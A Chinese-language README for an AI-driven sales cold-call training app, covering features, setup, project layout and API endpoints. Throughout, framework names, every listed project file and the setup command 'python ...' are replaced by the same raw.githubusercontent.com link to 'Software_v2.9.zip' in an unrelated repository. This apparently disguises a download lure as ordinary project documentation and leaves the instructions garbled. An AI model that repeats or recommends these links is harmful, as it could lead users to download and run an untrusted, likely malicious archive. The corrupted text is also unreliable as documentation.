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# AI 潜在客户培训应用 一个由 AI 驱动的销售培训平台，帮助销售专业人员通过智能潜在客户模拟器练习陌生拜访电话。获取实时反馈、详细的分析和全面的通话评估。 ## 🚀 功能 - **智能 AI 潜在客户**：基于复杂的决策树，做出逼真的 AI 响应，包括异议、问题和购买信号 - **实时语音交互**：通过自然的语音对话进行练习（TTS/STT 集成就绪） - **实时字幕**：开启/关闭字幕以回顾你的技巧 - **详细分析**：跟踪关键指标的表现（异议处理、建立融洽关系、成交技巧） - **综合报告**：下载包含详细评分和建议的 PDF 报告 - **场景库**：访问各种潜在客户画像和异议场景 - **会话管理**：跟踪多个培训会话，包含学生信息和批次跟踪 ## 🛠️ 技术栈 - **框架**：https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip 16 (App Router) - **语言**：TypeScript - **样式**：Tailwind CSS - **UI 组件**：Radix UI - **状态管理**：React Hooks - **TTS**：Coqui TTS (Python 服务器) 或客户端回退方案 - **STT**：集成就绪 (OpenAI Whisper, Google Speech-to-Text, AWS Transcribe) ## 📋 前置条件 - https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip 18+ 和 npm - Python 3.8+ (用于可选的 Coqui TTS 服务器) ## 🏃 快速开始 ### 1. 克隆仓库 ``` git clone cd ai-prospect-training-app ``` ### 2. 安装依赖 ``` npm install ``` ### 3. 运行开发服务器 ``` npm run dev ``` 在浏览器中打开 [http://localhost:3000](http://localhost:3000)。 ### 4. (可选) 启动 Coqui TTS 服务器 为了获得增强的文本转语音功能，你可以运行 Coqui TTS 服务器： ``` cd scripts python https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip ``` 服务器默认运行在 `http://localhost:5000`。如果可用，应用程序将自动使用它，否则将回退到客户端 TTS。 ## 📁 项目结构 ``` ai-prospect-training-app/ ├── app/ # https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip app directory │ ├── (landing)/ # Landing page │ ├── api/ # API routes │ │ ├── ai-response/ # AI response generation │ │ ├── conversation/ # Conversation management │ │ ├── evaluate/ # Session evaluation │ │ ├── reports/ # Report generation │ │ ├── scenarios/ # Scenario listing │ │ ├── sessions/ # Session CRUD │ │ ├── speech/ # Speech-to-text │ │ └── tts/ # Text-to-speech │ └── dashboard/ # Main dashboard ├── components/ # React components │ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # Call control panel │ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip │ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip │ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip │ └── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip ├── lib/ # Core libraries │ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # Conversation flow logic │ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # Scoring and evaluation │ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # Session state management │ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # In-memory session storage │ └── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # TypeScript types ├── services/ # External services │ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # STT/TTS services │ └── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip ├── config/ # Configuration │ └── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # Conversation flow definition └── scripts/ # Utility scripts └── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # Coqui TTS server ``` ## 🔌 API 端点 ### Sessions (会话) - `POST /api/sessions` - 创建新会话 - `GET /api/sessions?sessionId=` - 通过 ID 获取会话 - `GET /api/sessions` - 获取所有会话 - `PUT /api/sessions` - 更新会话 - `DELETE /api/sessions?sessionId=` - 删除会话 ### Conversation (对话) - `POST /api/conversation` - 向对话添加消息 - `GET /api/conversation?sessionId=` - 获取对话历史 ### AI Response (AI 响应) - `POST /api/ai-response` - 根据用户消息生成 AI 响应 ### Evaluation (评估) - `POST /api/evaluate` - 评估一个会话 - `GET /api/evaluate?sessionId=` - 获取某个会话的评估 ### Reports (报告) - `GET /api/reports?sessionId=` - 获取某个会话的报告 - `GET /api/reports?studentId=` - 获取某个学生的所有报告 ### Scenarios (场景) - `GET /api/scenarios` - 列出所有可用场景 ### Health (健康检查) - `GET /api/health` - 健康检查端点 ### Speech & TTS (语音与 TTS) - `POST /api/speech` - 语音转文本转录 - `POST /api/tts` - 文本转语音生成 ## 🎯 使用方法 1. **开始会话**：导航到仪表板并填写你的学生信息 2. **开始模拟**：点击 "Start Simulation" 开始通话 3. **交互**：自然说话 - AI 将根据你的输入做出响应 4. **回顾**：通话结束后，查看你的详细评估报告 5. **下载**：将你的报告导出为 PDF 以便分享或参考 ## 🔧 配置 ### 对话流程 编辑 `https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip` 以自定义： - 对话节点和转换 - 机器人响应和变体 - 预期意图和示例 - 场景定义 ### 环境变量 创建一个 `https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip` 文件用于可选配置： ``` # 可选：OpenAI Whisper STT 集成 OPENAI_API_KEY=your_api_key_here # 可选：Coqui TTS 服务器 URL (默认为 http://localhost:5000) COQUI_TTS_SERVER_URL=http://localhost:5000 ``` ## 🐛 已知限制 - **内存存储**：会话存储在内存中，服务器重启后会丢失。在生产环境中请替换为数据库（PostgreSQL, MongoDB 等）。 - **模拟 STT**：语音转文本当前返回模拟转录。在生产使用中请集成真实的 STT 服务。 - **无身份验证**：请在生产部署中添加身份验证/授权。 ## 🚀 生产部署 1. **数据库**：将内存会话存储替换为生产数据库 2. **STT 集成**：集成真实的语音转文本服务 3. **身份验证**：添加用户身份验证和授权 4. **环境变量**：设置适当的环境配置 5. **构建**：运行 `npm run build` 并部署到你的托管平台 ### 推荐托管 - **Vercel**：针对 https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip 应用优化 - **Netlify**：非常适合静态和无服务器部署 - **AWS/Azure/GCP**：适用于具有自定义基础设施的企业部署 ## 📝 开发 ### 构建 ``` npm run build ``` ### 启动生产服务器 ``` npm start ``` ### 代码检查 (Lint) ``` npm run lint ``` ## 📄 许可证 本项目为私有和专有项目。 ## 🙏 致谢 - 使用 https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip 和 React 构建 - UI 组件来自 Radix UI - TTS 由 Coqui TTS 提供支持 ## 📞 支持 如有问题和疑问，请在 GitHub 上提交 issue。 **注意**：这是一个培训应用程序。在生产使用中，请确保实施适当的安全措施、数据库持久化和 API 集成。

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